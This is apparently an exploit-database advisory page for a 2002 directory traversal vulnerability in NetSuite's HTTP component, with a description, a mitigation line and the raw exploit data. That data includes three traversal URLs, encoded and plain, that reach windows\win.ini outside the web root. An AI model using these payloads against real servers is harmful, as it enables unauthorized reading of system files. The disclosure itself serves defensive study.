header-logo
Suggest Exploit
vendor:
HTTP Component
by:
SecurityFocus
3.3
CVSS
MEDIUM
Directory Traversal
22
CWE
Product Name: HTTP Component
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

NetSuite HTTP Component Directory Traversal Vulnerability

The HTTP component of NetSuite has been reported prone to a directory traversal vulnerability. Various combinations of encoded directory traversal sequences may be used to break out of the web root directory. Attackers may gain access to files that are readable by the web server as a result.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in file system operations.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/8197/info

The HTTP component of NetSuite has been reported prone to a directory traversal vulnerability.

Various combinations of encoded directory traversal sequences may be used to break out of the web root directory. Attackers may gain access to files that are readable by the web server as a result. 

http://www.example.com/%5c..%5c..%5c..%5cwindows%5cwin.ini
http://www.example.com/%5c..%5c..%5c..%5cwindows%5cwin%2eini
http://www.example.com/\..\..\..\windows\win.ini

Navigation

Suggest Exploit

Services By CQR